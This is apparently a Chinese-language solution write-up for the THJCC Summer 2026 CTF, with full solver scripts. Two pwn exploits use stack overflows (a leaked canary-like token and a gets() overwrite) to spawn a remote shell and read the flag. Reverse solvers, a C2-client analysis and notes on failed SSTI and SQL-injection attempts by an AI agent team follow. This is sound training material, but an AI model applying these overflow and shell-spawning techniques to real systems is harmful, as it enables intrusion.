25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


#!/usr/bin/env python3
"""Canary Notes (THJCC Summer 2026, pwn) exploit.

Bug: scanf("%s") into an 8-byte stack buffer (rbp-0x10) in main.
Layout: [note buf:8][token copy:8][saved rbp:8][ret:8]
The 8-byte random token ("canary") is leaked via the receipts:
 receipt = note_content ^ token (same token both notes)
Trick: scanf("%s") appends a NUL after the input. An 8-char note puts the
NUL at buf[8] == byte0 of the token copy, so the receipt then leaks
token & ~0xff. Instead send a 7-char note: input = 'A'*7 + NUL (8 bytes,
buf[0..7]) so the token copy stays intact and encrypt reads 'AAAAAAA\x00',
making receipt byte0 = token byte0 ^ 0 = the TRUE token byte0. Full token
leaked in one shot: token = receipt1 ^ u64(b'A'*7 + b'\x00').
Then overflow note2 restoring the token copy to pass the tamper check and
set ret = win (0x401246 -> system("/bin/sh")). No libc needed.

Alignment: entering win directly makes the `call system` inside it hit with
rsp misaligned (system entry rsp % 16 == 0 instead of 8); some glibcs crash.
Chain through a plain `ret` gadget (0x4010f0) first to shift rsp by 8.

Usage: ./solve.py [host] [port]
"""
from pwn import *
import sys, re

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337

context.log_level = "info"
context.arch = "amd64"

WIN = 0x401246 # calls system("/bin/sh")
RET_GADGET = 0x4010F0 # plain `ret`, aligns rsp before entering WIN


def main():
 r = remote(HOST, PORT)
 r.recvuntil(b"leave a note:\n")

 # note 1: 7 'A's -> scanf writes 'AAAAAAA' + NUL into buf[0..7],
 # leaving the token copy (at rbp-0x8) untouched; encrypt reads
 # 'AAAAAAA\x00' ^ token -> receipt leaks the FULL token
 note1 = b"A" * 7
 r.sendline(note1)
 line = r.recvline()
 log.info("receipt1: %s", line.strip())
 m = re.search(rb"receipt: 0x([0-9a-f]{16})", line)
 assert m, f"bad receipt line: {line!r}"
 receipt1 = int(m.group(1), 16)
 token = receipt1 ^ u64(note1 + b"\x00")
 log.info("token = 0x%016x", token)
 assert all(0x21 <= (token >> (8 * i)) & 0xFF <= 0x7E for i in range(8)), "token has odd bytes"

 r.recvuntil(b"leave another note:\n")

 # note 2: overflow; restore token copy, smash ret -> (ret gadget) -> win
 payload = b"B" * 8 + p64(token) + b"C" * 8 + p64(RET_GADGET) + p64(WIN)
 assert b" " not in payload and b"\n" not in payload and b"\t" not in payload
 r.sendline(payload)

 r.recvuntil(b"thanks!\n")
 r.sendline(b"cat flag.txt; cat /flag.txt; cat /flag; ls -la")
 data = r.recvall(timeout=3)
 log.success("output:\n%s", data.decode(errors="replace"))
 return data


if __name__ == "__main__":
 main()

I ate something bad Flag：THJCC{m4yb3_1_34t_t0_much}

gets 栈溢出覆盖 0xbadf00d 常量触发 system("/bin/sh")。

📜 I ate something bad solve.py（65 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


#!/usr/bin/env python3
"""THJCC Summer 2026 - "I ate something bad ..." (Pwn, Baby)

Vuln: gets() into 48-byte buffer at rbp-0x30. Program checks [rbp-0x4] == 0xbadf00d
("bad food") and if so calls system("/bin/sh"). Overflow 44 bytes + 0xbadf00d
to satisfy the check and get a shell, then cat the flag.

Usage: python3 solve.py [host] [port] (defaults: chal.thjcc.org 11037)
"""
import socket
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "chal.thjcc.org"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 11037

PAYLOAD = b"A" * 44 + (0xBADF00D).to_bytes(4, "little") # 48 bytes total


def recv_until(sock, marker, timeout=5):
 sock.settimeout(timeout)
 data = b""
 while marker not in data:
 try:
 chunk = sock.recv(4096)
 except socket.timeout:
 break
 if not chunk:
 break
 data += chunk
 return data


def main():
 s = socket.create_connection((HOST, PORT), timeout=10)
 banner = recv_until(s, b"?")
 print("[*] banner:", banner.decode(errors="replace").strip())

 s.sendall(PAYLOAD + b"\n")
 time.sleep(0.3)
 out = recv_until(s, b"$", timeout=2)
 print("[*] after payload:", out.decode(errors="replace").strip())

 s.sendall(b"cat flag.txt; echo __END__\n")
 time.sleep(0.5)
 data = b""
 s.settimeout(5)
 try:
 while True:
 chunk = s.recv(4096)
 if not chunk:
 break
 data += chunk
 if b"__END__" in data:
 break
 except socket.timeout:
 pass
 print("[*] flag output:")
 print(data.decode(errors="replace"))

 s.close()


if __name__ == "__main__":
 main()

Reverse（6/6）

横向观察：6 题里 4 题的 flag 都是从常量表用滚动异或解出——cl 初值各异、每轮 +0x1A、奇偶位分别 ^(cl-0x0D)/^cl（License / 404 / xorlocks / BlackFrost），疑似同一作者套路：逆向先 grep 0x1a，命中即定位解密循环。

BlackFrost Flag：THJCC{blackfrost_config_recovered}

C2 客户端 PE32+ 7KB：pcap 是"失败探针"装饰，flag 在 .rdata 34 字节密文 + 滚动密钥（cl 初值 0x26、每 2 字节 +0x1a）逐字节 XOR。

📜 BlackFrost solve.py（98 行，核心 decode_flag@3754）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98


#!/usr/bin/env python3
"""BlackFrost (THJCC Summer 2026, Reverse) — one-shot solver.

The PE (BlackFrost.exe) is a small C2 client:
 1. parses `--token <tok>` (17 chars), checks FNV-1a32(token) == 0xB700B632
 2. decrypts a static "stage" blob from .rdata (SSE keystream keyed by the hash)
 and requires it to contain "campaign=BLACKFROST-26;"
 3. sleeps >= 3 s (anti-sandbox timer), then connects to 127.0.0.1:31337,
 sends "BFHELLO <hash-hex>\n", receives "BF2:<hexconfig>\n"
 4. XOR-decodes the config: byte[i] ^= hash_byte[i%4] ^ (0x5a + 0x11*i)
 and requires campaign/nonce/directive fields
 5. finally prints the flag: a static 34-byte blob at .rdata:0x140003080
 XORed with rolling key cl: 0x26 + 0x1a*i (even byte ^= cl-13, odd ^= cl)

The flag is static — no network needed. The pcap lets us verify the protocol.
"""
import struct
from pathlib import Path

HERE = Path(__file__).resolve().parent
EXE = HERE / "BlackFrost.exe"
PCAP = HERE / "traffic.pcap"

HASH = 0xB700B632 # FNV-1a32 of the (unknown) 17-char token


def fnv1a32(data: bytes) -> int:
 h = 0x811C9DC5
 for b in data:
 h ^= b
 h = (h * 0x01000193) & 0xFFFFFFFF
 return h


def exe_rdata(va: int, n: int) -> bytes:
 """Read n bytes at virtual address `va` from .rdata (file off 0x1600)."""
 data = Path(EXE).read_bytes()
 # .rdata: VMA 0x140003000, file offset 0x1600
 off = 0x1600 + (va - 0x140003000)
 return data[off:off + n]


def decode_flag() -> str:
 blob = exe_rdata(0x140003080, 34)
 out = bytearray()
 cl = 0x26
 for i in range(0, len(blob), 2):
 out.append(blob[i] ^ ((cl - 13) & 0xFF))
 out.append(blob[i + 1] ^ cl)
 cl = (cl + 0x1A) & 0xFF
 return out.decode()


def decode_config(hexcfg: str) -> bytes:
 hb = bytes.fromhex(hexcfg)
 out = bytearray()
 for i, b in enumerate(hb):
 k = ((HASH >> ((i * 8) & 0x18)) & 0xFF) ^ ((0x5A + 0x11 * i) & 0xFF)
 out.append(b ^ k)
 return bytes(out)


def parse_pcap(path: Path):
 data = path.read_bytes()
 off = 24
 msgs = []
 while off < len(data):
 _, _, incl, _ = struct.unpack("<IIII", data[off:off + 16])
 frame = data[off + 16:off + 16 + incl]
 off += 16 + incl
 sport, dport = struct.unpack(">HH", frame[34:38])
 msgs.append((sport, dport, frame[54:]))
 return msgs


def main():
 print("== flag (static blob, .rdata:0x140003080) ==")
 flag = decode_flag()
 print("FLAG:", flag)

 print("\n== protocol verification from traffic.pcap ==")
 for sport, dport, payload in parse_pcap(PCAP):
 print(f" {sport}->{dport}: {payload!r}")
 if payload.startswith(b"BFHELLO "):
 print(" -> handshake carries FNV-1a32(token) =",
 hex(int(payload[8:16], 16)), "(== 0xb700b632)")
 if payload.startswith(b"BF2:"):
 cfg = decode_config(payload[4:].strip().decode())
 print(" -> decoded config:", cfg)
 print(" -> note: exe requires 'directive=collect;' but this config has",
 "'directive=collect-only;' -> sandbox run ended 'configuration rejected'")

 print("\n== token property (not needed for flag) ==")
 print(" FNV-1a32(token) must equal 0xb700b632 (17-char token, unknown value)")


if __name__ == "__main__":
 main()

License Flag：THJCC{license_pipeline_rebuilt}

静态 license 校验器输入无关：flag = .rodata 常量（cl=0x7e 滚动，out[2k]=(cl-0x0d)^ro[2k], out[2k+1]=cl^ro[2k+1], cl+=0x1a）。

📜 License solve.py（46 行，核心 decrypt@3823）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


#!/usr/bin/env python3
"""THJCC Summer 2026 - License (Reverse, 144 pts)

license_v2 is a statically linked, stripped x86-64 ELF license checker.
The flag is NOT gated by knowing the license key: it is XOR-decrypted at the
success path purely from .rodata constants (0x200210..0x20022e). Any input
that passes the 24-byte comparison would print it; we simply decrypt it.

Success path (0x201bc3):
 cl = 0x7e
 for rax in 1, 3, ..., 31:
 out[rax-1] = (cl - 0x0d) ^ rodata[0x20020f + rax]
 out[rax] = cl ^ rodata[0x200210 + rax]
 cl += 0x1a
 out[31] = 0 ; write(out) -> 31-byte flag
"""
import sys

RODATA = bytes.fromhex(
 "2536c1dbe6c9d3a5ba839d736845575d312b37011be7d0eeccd4b6b9b19e8a"
) # 0x200210 .. 0x20022e (31 bytes)


def decrypt() -> str:
 out = bytearray(32)
 cl = 0x7E
 for k in range(16):
 out[2 * k] = ((cl - 0x0D) & 0xFF) ^ RODATA[2 * k]
 if 2 * k + 1 < 31:
 out[2 * k + 1] = cl ^ RODATA[2 * k + 1]
 cl = (cl + 0x1A) & 0xFF
 out[31] = 0
 return out[:31].decode()


if __name__ == "__main__":
 flag = decrypt()
 print(flag)
 if "--verify" in sys.argv:
 # End-to-end sanity: patch first `jne fail` (VA 0x201a40, file 0xa40)
 # into `jmp 0x201bc3` and run under docker/alpine.
 data = bytearray(open("license_v2", "rb").read())
 rel = 0x201BC3 - (0x201A40 + 5)
 data[0xA40 : 0xA40 + 6] = bytes([0xE9]) + rel.to_bytes(4, "little", signed=True) + b"\x90"
 open("license_patched", "wb").write(bytes(data))
 print("patched license_patched (run: docker run --rm -v $PWD:/mnt alpine /mnt/license_patched 0000-0000-0000-0000-0000-0000)")

404 / xorlocks Flag：THJCC{vm_bytecode_is_a_contract} / THJCC{xor_basics_are_not_magic}

404：2KB 手写字节码 VM，16 组同构检查 rol(input[i]^(0x20+i)+(0x07+3i), i%7)==target[i] （坑：i%7 非 i&7），flag 由 rodata 常量表生成与输入无关；xorlocks：从 ELF 节表读 .rodata 反推密码，成功路径异或出 flag。

📜 404 solve.py（38 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


# ==== 404-canary/solve.py ====
#!/usr/bin/env python3
"""THJCC CTF Summer 2026 - 404 (Reverse) one-shot solver.

Binary: 404 (ELF64 x86-64 static, custom 8-register bytecode VM).
VM program (0x121 bytes, reconstructed from .rodata movaps layout):
 for each input byte i: rol(input[i] ^ (0x20+i) + (0x07+3i), i%7) == target[i]
 on success, opcode at bytecode[0x120] prints the flag computed from a
 constant table (opcode-8 handler at 0x201615).
"""

def rol(b, n):
 n &= 7
 return ((b << n) | (b >> (8 - n))) & 0xff if n else b

def ror(b, n):
 n &= 7
 return ((b >> n) | (b << (8 - n))) & 0xff if n else b

# target constants from the 16 CMP instructions in the VM program
TARGETS = [0x5d, 0xac, 0x2a, 0xd2, 0xa6, 0x12, 0x58, 0x64,
 0xf6, 0x62, 0x63, 0x27, 0xce, 0x9c, 0x7e, 0x84]

# invert: rol(in ^ (0x20+i) + (0x07+3i), i%7) == TARGETS[i]
inp = bytes((ror(TARGETS[i], i % 7) - (0x07 + 3 * i)) & 0xff ^ (0x20 + i)
 for i in range(16))
print('input:', inp.decode())

# flag from the opcode-8 (PRINT_FLAG) handler at 0x201615:
# al starts 0x35, += 0x1a each round; out[2i] = (al-13)^key[2i], out[2i+1] = al^key[2i+1]
key = bytes.fromhex('7c7d080c1f1200eecfffd3c3a1b2b18f9d5a7b6c735819300f030ef5f5c2dac6')
out = bytearray(32)
al = 0x35
for i in range(16):
 out[2 * i] = (al - 13) & 0xff ^ key[2 * i]
 out[2 * i + 1] = al ^ key[2 * i + 1]
 al = (al + 0x1a) & 0xff
print('flag :', out.decode())

📜 xorlocks solve.py（67 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


# ==== xorlocks/solve.py ====
#!/usr/bin/env python3
"""THJCC Summer 2026 - xorlocks 一键复现

从 ELF 提取常量表，反推密码，还原成功路径打印的 flag；
有 docker 时自动在 Linux 容器内跑原二进制做动态验证。

用法: python3 solve.py [path/to/xorlock]
"""
import struct
import subprocess
import sys

ELF = sys.argv[1] if len(sys.argv) > 1 else "handout/xorlock"

data = open(ELF, "rb").read()

# 手工解析节表：.rodata 文件偏移 0x120 <-> VMA 0x200120
e_shoff = struct.unpack_from("<Q", data, 0x28)[0]
e_shentsize = struct.unpack_from("<H", data, 0x3a)[0]
e_shnum = struct.unpack_from("<H", data, 0x3c)[0]
secs = {}
for i in range(e_shnum):
 off = e_shoff + i * e_shentsize
 name, typ, flags, addr, sh_off, size = struct.unpack_from("<IIQQQQ", data, off)
 secs[addr] = (sh_off, size)

ro_off, ro_size = secs[0x200120]
ro = data[ro_off : ro_off + ro_size]

def b(vma):
 return ro[vma - 0x200120]

# 校验表 (0x200150, 20 字节) 与 消息表 (0x20016f, 32 字节)
t1 = [b(0x200150 + i) for i in range(20)]
t2 = [b(0x20016f + i) for i in range(32)]

# 密码: ((p[i] ^ 0x5A) + 3*i) & 0xff == t1[i] (i = 0..19)
password = "".join(chr(((t1[i] - 3 * i) & 0xFF) ^ 0x5A) for i in range(20))
print(f"[+] password: {password}")

# 成功消息: cl 从 0x40 起每轮 +0x1A; base[2k+1] = (cl-0x0d) ^ t2[2k+1], base[2k+2] = cl ^ t2[2k+2]
cl = 0x40
base = {}
for k in range(16):
 a = 2 * k + 1
 base[a] = ((cl - 0x0D) & 0xFF) ^ t2[a]
 if a < 0x1F:
 base[a + 1] = cl ^ t2[a + 1]
 cl = (cl + 0x1A) & 0xFF
flag = bytes(base[i] for i in range(1, 0x20)).decode()
print(f"[+] flag: {flag}")

# 动态验证（有 docker 时）
try:
 r = subprocess.run(
 ["docker", "run", "--rm", "-v", f"{__import__('os').path.abspath(ELF)}:/app/x:ro",
 "debian:stable-slim", "/app/x", password],
 capture_output=True, timeout=60,
 )
 out = r.stdout.decode().strip()
 if out == flag:
 print("[+] dynamic verify OK (docker): binary printed the flag, exit", r.returncode)
 else:
 print(f"[-] dynamic verify FAILED: got {out!r}, exit {r.returncode}")
except (FileNotFoundError, subprocess.TimeoutExpired):
 print("[*] docker unavailable/timeout — skip dynamic verify (static derivation already checked)")

Because There is no one Make Reverse So I Create This Chal Flag：THJCC{1_w0nd3r_h0w_l0n6_41_50lv35_17_>w<}

Mach-O arm64 自研 VM：XTEA 变体（双 sum）解密字节码 + FNV-1a 自校验，z3 求解 41 字节输入。

📜 Because… solve.py（205 行，核心 decrypt_program@4038 / run_vm@4089）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205


#!/usr/bin/env python3
"""THJCC Summer 2026 - "Because There is no one Make Reverse So I Create This Chal"
One-click solver:
 1. XTEA-variant keystream (two sums, w15=0 / w17=DELTA) XORed over __const -> VM program
 (708 bytes; the 89th block writes only its first 4 bytes -> bytes 0x2c0..0x2c3,
 which contain the final 0x5a END opcode).
 2. FNV-1a self-check over the 708 bytes (expect 0x4b9fb9f7, verified).
 3. Interpret the custom VM symbolically with z3 -> flag.
 4. Verify the candidate against the real binary.
"""
import sys
import struct
import subprocess
from pathlib import Path

DELTA = 0x9E3779B9
MASK32 = 0xFFFFFFFF
EXPECT_FNV = 0x4B9FB9F7

# --- VM opcodes (ip advance, semantics) ---
# 0x15: acc ^= imm (2) 0x18: acc += imm (2) 0x74: acc = ROL8(acc, imm&7) (2)
# 0xe5: acc -= imm (2) 0x97: idx = imm (2) 0xcd: len check (2)
# 0x86: acc = input[idx] (1 byte, NO operand)
# 0x8f: mismatch |= acc ^ byte-at-ip+1 (2)
# 0x5b: ip += imm + 2 0x5a: END, ok iff no mismatch


def xtea_encrypt_round(v0, v1, key, rounds=32):
 """XTEA variant from the ARM64 asm: TWO sums (w15 starts 0, w17 starts DELTA),
 each advanced once per round. v0 = counter word (w13), v1 = 0x1e403058 (w14)."""
 s1 = 0 # used by the v0 update: key[s1 & 3]
 s2 = DELTA # used by the v1 update: key[(s2 >> 11) & 3]
 for _ in range(rounds):
 v0 = (v0 + ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s1 + key[s1 & 3]))) & MASK32
 s1 = (s1 + DELTA) & MASK32
 v1 = (v1 + ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s2 + key[(s2 >> 11) & 3]))) & MASK32
 s2 = (s2 + DELTA) & MASK32
 return v0, v1


def fnv1a(data, h=0x811C9DC5):
 for b in data:
 h = ((h ^ b) * 0x1000193) & MASK32
 return h


def decrypt_program(binary: bytes) -> bytes:
 # __const section: vmaddr 0x100000b98, file offset 2968, size 0x2e4
 const = binary[2968:2968 + 0x2e4]
 # XTEA key = XOR of the two 16-byte blobs at const+0x2c4 / const+0x2d4
 k1 = const[0x2c4:0x2c4 + 16]
 k2 = const[0x2d4:0x2d4 + 16]
 key = struct.unpack('<4I', bytes(a ^ b for a, b in zip(k1, k2)))

 out = bytearray()
 for i in range(0, 0x2c4, 8):
 block_idx = i >> 3
 v0, v1 = xtea_encrypt_round((block_idx + 0xAFD9E340) & MASK32, 0x1E403058, key)
 ks = struct.pack('<I', v0) + struct.pack('<I', v1) # asm stores v0 first (LE), then v1
 nbytes = 4 if i == 0x2c0 else 8 # last block (x9==4) writes only bytes 0..3
 for j in range(nbytes):
 out.append(const[i + j] ^ ks[j])
 return bytes(out)


def disasm(prog: bytes):
 """Control-flow-following disassembler for the custom VM."""
 names = {
 0x15: 'acc ^= 0x{imm:02x}',
 0x18: 'acc += 0x{imm:02x}',
 0x5a: 'END (ok iff mismatch==0)',
 0x5b: 'JMP +{imm}',
 0x74: 'acc = ROL8(acc, {imm}&7)',
 0x86: 'acc = input[idx]',
 0x8f: 'CMP acc vs 0x{imm:02x}',
 0x97: 'idx = {imm}',
 0xcd: 'CHECK len == {imm}',
 0xe5: 'acc -= 0x{imm:02x}',
 }
 lines, ip = [], 0
 while ip < len(prog):
 op = prog[ip]
 if op == 0x5a:
 lines.append((ip, names[op])); break
 if op == 0x86:
 lines.append((ip, names[op])); ip += 1
 elif op in names:
 lines.append((ip, names[op].format(imm=prog[ip + 1])))
 if op == 0x5b:
 ip = ip + 2 + prog[ip + 1]
 else:
 ip += 2
 else:
 lines.append((ip, f'?? op 0x{op:02x}')); ip += 1
 return lines


def run_vm(prog, inp, symbolic=False):
 """Execute the VM. symbolic=False: plain emulation, returns (ok, trace).
 symbolic=True: build z3 constraints, returns the input bytes or None."""
 if symbolic:
 import z3
 s = z3.Solver()
 len_req = prog[1] # first instr is 0xcd len check
 inp_bv = [z3.BitVec(f'c{i}', 8) for i in range(len_req)]
 for c in inp_bv:
 s.add(c >= 0x20, c <= 0x7e)
 acc, idx, ip, ok = 0, 0, 0, True
 for _ in range(1417):
 op = prog[ip]
 if op == 0x15:
 acc = acc ^ prog[ip + 1]; ip += 2
 elif op == 0x18:
 acc = acc + prog[ip + 1]; ip += 2
 elif op == 0x74:
 sh = prog[ip + 1] & 7
 acc = (z3.RotateLeft(acc & 0xFF, sh)) & 0xFF; ip += 2
 elif op == 0xe5:
 acc = acc - prog[ip + 1]; ip += 2
 elif op == 0x86:
 acc = z3.If(idx < len_req, inp_bv[idx], 0); ip += 1
 elif op == 0x97:
 idx = prog[ip + 1]; ip += 2
 elif op == 0x8f:
 s.add((acc & 0xFF) == prog[ip + 1]); ip += 2
 elif op == 0xcd:
 ip += 2
 elif op == 0x5b:
 ip = ip + 2 + prog[ip + 1]
 elif op == 0x5a:
 break
 else:
 ok = False; break
 else:
 ok = False
 if not ok or s.check() != z3.sat:
 return None
 m = s.model()
 return bytes(m[c].as_long() for c in inp_bv)
 else:
 acc, idx, ip, ok = 0, 0, 0, True
 for _ in range(1417):
 op = prog[ip]
 if op == 0x15:
 acc = (acc ^ prog[ip + 1]) & 0xFF; ip += 2
 elif op == 0x18:
 acc = (acc + prog[ip + 1]) & 0xFF; ip += 2
 elif op == 0x74:
 sh = prog[ip + 1] & 7
 acc = ((acc << sh) | (acc >> (8 - sh))) & 0xFF; ip += 2
 elif op == 0xe5:
 acc = (acc - prog[ip + 1]) & 0xFF; ip += 2
 elif op == 0x86:
 acc = inp[idx] if idx < len(inp) else 0; ip += 1
 elif op == 0x97:
 idx = prog[ip + 1]; ip += 2
 elif op == 0x8f:
 if acc != prog[ip + 1]:
 ok = False
 ip += 2
 elif op == 0xcd:
 if len(inp) != prog[ip + 1]:
 ok = False
 ip += 2
 elif op == 0x5b:
 ip = ip + 2 + prog[ip + 1]
 elif op == 0x5a:
 return ok
 else:
 return False
 return False


def main():
 chal = Path(__file__).parent / 'handout' / 'chal' / 'chal'
 binary = chal.read_bytes()
 prog = decrypt_program(binary)
 print(f'program len={len(prog)} fnv1a = {fnv1a(prog):#010x} (expect {EXPECT_FNV:#010x})')
 if fnv1a(prog) != EXPECT_FNV:
 print('WARN: FNV mismatch - decryption wrong?')
 sys.exit(1)

 with open(Path(__file__).parent / 'vm_disasm.txt', 'w') as f:
 for ip, text in disasm(prog):
 f.write(f'{ip:#04x}: {text}\n')
 print(f'disasm written (vm_disasm.txt), {len(disasm(prog))} instructions')

 cand = run_vm(prog, None, symbolic=True)
 if cand is None:
 print('UNSAT'); sys.exit(1)
 print(f'z3 candidate: {cand!r}')
 print(f'z3 candidate: {cand.decode()}')

 r = subprocess.run(['./handout/chal/chal'], input=cand + b'\n',
 capture_output=True, cwd=Path(__file__).parent)
 print(f'binary verdict: {r.stdout.decode(errors="replace").strip()!r} (exit {r.returncode})')

 r2 = subprocess.run(['./handout/chal/chal'], input=b'THJCC{test}\n',
 capture_output=True, cwd=Path(__file__).parent)
 print(f'control (wrong flag): {r2.stdout.decode(errors="replace").strip()!r}')
 return cand


if __name__ == '__main__':
 main()

TeaGod.exe Flag：THJCC{h77p5://p4s73b1n.com/R58uv133}

MinGW 膜拜程序，首次点击解 36 字节奖励串；GetTickCount()&0xff 双异或恰好抵消是动态分析陷阱。

📜 TeaGod.exe solve.py（53 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


#!/usr/bin/env python3
"""THJCC Summer 2026 - TeaGod.exe (Reverse, 241 pts) - flag extractor.

Static reverse of the reward decryption in TeaGod.exe (MinGW-w64 Win32 GUI).

How it works (from disassembly of TeaGodNote WndProc @ 0x140001d50):
 Clicking "WORSHIP TEA GOD" (button id 0x1001) on a TeaGodNote popup:
 - increments the worship counter (global 0x1400080c8, shown as
 "Worship count: N" in the main window)
 - kills the 0xcafe popup timer, destroys all popup windows
 - decrypts the reward string and opens the "REWARD UNLOCKED" window
 (class TeaGodReward) with the flag in an EDIT box + COPY button.

Decryption (at 0x140001e74..0x140002073):
 1. Three 12-byte ciphertext chunks pointed to by the table at
 rdata 0x140005210 -> 0x1400051e6 / 0x51f2 / 0x51fe.
 2. Per-chunk key bytes at rdata 0x140005228: [0xa7, 0x3c, 0xd1].
 intermediate[chunk*12 + i] = (cipher[chunk][i] - (25 + 7*i)) ^ key[chunk]
 3. Byte-stream key "hc_ehsna" (8 bytes, embedded as movabs immediate).
 final[i] = intermediate[i] ^ key2[(1 + 3*i) & 7]
 (a GetTickCount()&0xff byte is XORed in and out twice -> cancels, it is
 pure obfuscation to mislead dynamic analysis)

No runtime needed. Usage: python3 solve.py [TeaGod.exe]
"""
import sys

def main(path: str) -> str:
 data = open(path, "rb").read()

 # PE section layout (fixed for this binary)
 rdata_va, rdata_raw = 0x140005000, 0x4000
 def off(va: int) -> int:
 return rdata_raw + (va - rdata_va)

 cipher = b"".join(
 data[off(va): off(va) + 12]
 for va in (0x1400051E6, 0x1400051F2, 0x1400051FE)
 )
 chunk_keys = [data[off(0x140005228) + i] for i in range(3)]
 key2 = b"hc_ehsna"

 intermediate = bytearray()
 for ch in range(3):
 for i in range(12):
 intermediate.append((cipher[ch * 12 + i] - (25 + 7 * i)) & 0xFF ^ chunk_keys[ch])

 flag = bytes(intermediate[i] ^ key2[(1 + 3 * i) & 7] for i in range(36))
 print(flag.decode())
 return flag.decode()

if __name__ == "__main__":
 main(sys.argv[1] if len(sys.argv) > 1 else "TeaGod.exe")

三、六道未解题复盘

The Archivist（Web 500，5 轮，全场 0 解）。击杀链打到 SSTI 执行层（自研 wasm 签名 → 实体编码绕 WAF → v2 引擎渲染），但引擎精确定性为 stock jinja2 ≥3.1.6 SandboxedEnvironment：CVE-2025-27516 已修、151+198 个 filter 候选全灭、 108 个变量名全 stock、format-spec 下标活口在 stock globals 下不闭合。隐藏端点 /api/export?file= 的签名掺了客户端不可推导的服务端 secret（~95 消息格式变体全 403）。没有 0day 的话这题就是不可解的，和全场 0 解的结果对得上。

Buggy web（Web 500，7 轮，全场 0 解）。官方 hints 点明密码字段拼 SQL，DB 还有休眠函数，但 ~350 payload × 8 个观测维度（内容/状态码/长度/md5/cookie/重定向/ 时延/崩溃）全部恒定。反证：/post?id=大int 会 500（OverflowError 不吞）而 login 从不 500 → password 进的是结果被丢弃的查询（疑登录审计 INSERT），黑盒结构性无 oracle。时延通道第 8 次用交错 A/B 对照证伪：LB 的限速 stall 和 SLEEP(1) 的信号长一个样。赛后方向：注入点在登录后功能（评论区 + 审核流）。

CTFxck（Misc 456，12 解，10 轮）。CTFuck esolang，要写一个不超过预算的程序去处理 stdin 噪声。三轮教训递进：①预算口径最终钉死为程序总字节 ≤111 含换行（第 6 轮 “换行不计费"只测过单行程序）；②假阳性级联：超预算的程序一律被自动 nope，历史上那些"已测结论"成片作废，甚至堆出"stdin 有 UTF-16 文本区"的幻觉假设（三个真跑的程序空输出把它证伪）；③判定只对正常退出的程序给出。度量口径错误会污染之后每一轮。

Shifting v2（Misc 499，3 解）。密码层 100% 破解并双向验证：base64 → 27 个平假名+苏州数字 → 码点末两位 hex 十进制 + chr(V+24) + 字母 ROT-4 → 唯一明文 https://pastebin.com/D15r3g。paste 全程 404（8 小时内五次核查），Wayback / archive.today / 搜索引擎全无快照，附件哈希未换。3 个解出全在 08-15 paste 存活的窗口期。外部资源死亡 ≠ 解题失败。

All night long（Misc 259，30 解）。一段 14 秒的音频：外段两段不同乐句（Shazam 18 变体不识别 = 梗曲 remix 不入库），中段 67ms 波形数码复制 59 次（stutter 特效制作手法，频谱逐位相同排除逐字符编码）。卡在需要人耳认歌。

Minecraft???（Forensics 481，9 解）。服务器明令禁自动化工具，需要真人 MC Java 1.21.11 客户端进 mc.pg72.tw 找讲台书。

四、反思

编排式的甜与苦。主 agent 不进单题细节，上下文全程干净，46 题从 08-15 傍晚打到终局不乱；但"验收"靠的是子 agent 的回报，这次用平台 solved_by_me 复核加产物目录抽查兜住了。子 agent 自己更新总表出现过两次编辑竞态，最后统一成"子 agent 只写题目目录、总表由主 agent 收口”。

度量口径先于一切。CTFxck 十轮里最贵的错误不是任何一次 payload，而是"预算计量单位"搞错了。口径差一代，后面所有实验的判定成片作废，还能反向堆出幻觉假设。任何"超过 X 就拒绝"的黑盒约束，边界实验必须覆盖计量单位的所有维度。

